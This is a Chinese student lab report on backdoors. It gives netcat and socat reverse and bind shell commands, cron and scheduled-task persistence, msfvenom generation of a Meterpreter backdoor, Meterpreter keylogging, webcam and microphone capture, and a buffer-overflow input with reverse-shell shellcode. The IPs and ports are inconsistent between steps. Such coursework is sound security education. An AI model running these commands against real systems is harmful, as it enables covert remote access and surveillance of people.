Exp2-后门原理与实践

发布时间 2023-03-23 00:44:15作者: 少管我

Exp2-后门原理与实践

实验基础

1 基础知识

后门的概念

后门就是不经过正常认证流程而访问系统的通道。后门可能出现在编译器中、操作系统中,最常见的是应用程序中的后门,还可能是潜伏于操作系统中或伪装成特定应用的专用后门程序。

常用后门工具

1.NC和Netcat
底层工具,进行基本的TCP、UDP数据收发,常常被与其他工具结合使用,起到后门的作用。
在Linux系统中一般自带netcat,使用man nc命令可以查看使用帮助
在Windows系统中,需要下载ncat.rar,解压后可使用

2.SoCat
相当于Netcat++,一个超级Netcat工具。
在Windows下可以下载socat.rar,使用README作为参考。
任何代理、转发等功能都可以用该工具实现。

3.Meterpreter

一个用来生成后门程序的程序。
它包含着后门的基本功能(基本的连接、执行指令)

  • 扩展功能(如搜集用户信息、安装服务等功能)
  • 编码模式
  • 运行平台
  • 运行参数

它把后门的内容全部做成零件或可调整的参数,按需组合使用形成需要的可执行文件。

常见的Meterpreter程序有

  • intersect
  • Metaspolit的msfvenom指令
  • Veil-evasion

本次实验我们使用msfvenom指令生成后门可执行文件Meterpreter.

2 内容回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

(2)例举你知道的后门如何启动起来(win及linux)的方式?

(3)Meterpreter有哪些给你映像深刻的功能?

(4)如何发现自己有系统有没有被安装后门?

实验内容

1 实验准备

靶机:Kali Linux Debian 10

sudo ifconfig 查询IP地址:192.168.87.129

主机:Windows 11

ipconfig 查询IP地址:192.168.1.105

检查主机靶机之间能够相互ping通吗?可以,则继续进行实验

2 使用netcat获取主机操作Shell,cron启动

关闭主机防火墙,安装ncat命令

2.1 windows获取linux的shell

查看windows的ip地址ifconfig

在主机cmd中ncat文件内输入ncat.exe -l -p 1329

在kali虚拟机中输入nc 192.168.1.105 1329 -e /bin/sh 进行反向连接

在Windows下货的一个Linux shell,可以运行任何命令,如pwd

输入ls没有内容是因为在kali的ex2文件中还没有内容

更换文件夹尝试

2.2 Linux获取Windows的shell

查看kali的IP地址192.168.87.129

linux运行监听指令nc -l -p 1329

Windows反弹连接Linux输入.\ncat.exe -e cmd.exe 192.168.87.129 1329

Linux下看到Windows的命令提示

2.3 在虚拟机中启动cron并在主机监听

crontab命令选项:
-u指定一个用户
-l列出某个用户的任务计划
-r删除某个用户的任务(不添加用户即删除所有的任务)
-e编辑某个用户的任务

cron文件语法:
分      小时    日       月       星期     命令

0-59   0-23   1-31   1-12     0-6     command    
(取值范围,0表示周日一般一行对应一个任务)

Minute   Hour    Day     Month    Dayofweek    command
分钟      小时      天     月        天每星期       命令

先在虚拟机上用crontab -e指令编辑一条定时任务

(crontab指令增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器)

00 * * * * /bin/netcat 192.168.1.100 1329 -e /bin/sh写入

在cmd中监听2211端口,等待kali机中定时反向连接的启动

ncat.exe -l -p 1329等待任务启动后,cmd成功获得Linux shell,运行ls

3 使用socat获取主机操作Shell, 任务计划启动

2.1 windows获取linux的shell

man socat 查看socat使用说明

kali开放1313端口socat tcp-listen:1329 system:bash,pty,stderr

windows连接kali虚拟机,ip地址为linux的地址.\socat.exe - tcp:192.168.87.129:1329。成功获取终端并用命令行验证。

2.2 linux获取windows的shell

windows开放1313端口.\socat.exe tcp-listen:1329 exec:cmd,pty,stderr

linux连接Windows获取终端socat - tcp:172.20.10.3:1313,并验证

2.3 windows下任务计划启动

在windows中按win+R,再输入compmgmt.msc打开计算机管理进行操作

在系统工具中的任务计划程序中创建任务

设置触发器

新建操作,将操作设置为启动程序socat.exe,并添加参数tcp-listen:1329 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口1329,同时把cmd.exe的stderr重定向

设置好后锁定工作台。解锁后直接弹出窗口

在linux中输入命令socat - tcp:192.168.1.100:1329,成功获取windows的shell并验证。

4 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

在linux上生成后门可执行程序20191313_backdoor.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.112.128 LPORT=1313 -f exe > 20191313_backdoor.exe

参数说明:

-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP(这里是kali的ip)
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件

在windows上打开监听.\ncat.exe -l 1329 > 20201329_backdoor.exe

在linux上将生成的20191313_backdoor.exe后门程序传过去nc 192.168.1.100 1329 < 20201329_backdoor.exe

传送成功

在linux上使用指令进入msf控制台msfconsole

对msf控制台进行配置,依次输入以下命令

use exploit/multi/handler		            #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp	    #使用和生成后门程序时相同的payload
set LHOST 192.168.112.128			    #kali的ip,和生成后门程序时指定ip相同
set LPORT 1313
exploit         ##进行触发

windows下进行操作,打开后门可执行文件(可以用管理员身份运行),获取shell终端,使用dir验证,显示成功

5 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

获取目标主机音频record_mic

获取目标主机摄像头webcam_snap

获取击键记录

keyscan_start//开始记录
keyscan_dump//读取

截取主机屏幕screenshot

6 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

使用msfvenom生成shellcodemsfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.87.129 LPORT=1329 -f c

进入MSF控制台,进行监听

use exploit/multi/handler		            #使用监听模块,设置payload
set payload linux/x86/shell/reverse_nonx_tcp	    #使用和生成后门程序时相同的payload
set LHOST 192.168.112.128			    #kali的ip,和生成后门程序时指定ip相同
set LPORT 1313
exploit         ##进行触发

用如下代码生成input

perl -e 'print "A" x 32;print "\x10\xd2\xff\xff";print "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x57\x81\x66\x68\x05\x31\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1 "'> input

在另一终端中将运行pwn20191313执行(cat input;cat) | ./pwn20191313,执行前需对堆栈进行设置。

execstack -s pwn    //设置堆栈可执行
execstack -q pwn    //查询文件的堆栈是否可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

(按照实验一步骤:网络对抗实验1 逆向及Bof基础实践 - 少管我 - 博客园 (cnblogs.com))

(实验指导书:ExpGuides/0x11_MAL_逆向与Bof基础.md · wildlinux/NetSec - Gitee.com

可看到msf中获取权限,成功获得shell并验证

问题与解决

1.主机与靶机之间不能连通,无法进行获取shell

解决:根据网上链接(主机ping不通虚拟机的解决办法有哪些? - 新网数码 (xinnet.com))更改虚拟机网络设置可以正常连通

2.linux获得win shell无法连通,还没有解决

关闭kali防火墙设置((59条消息) Linux kali开启端口、关闭防火墙方法_服务猿的博客-CSDN博客)但是好像仍然显示积极拒绝,于是决定重新装一个kali系统。

实验总结与体会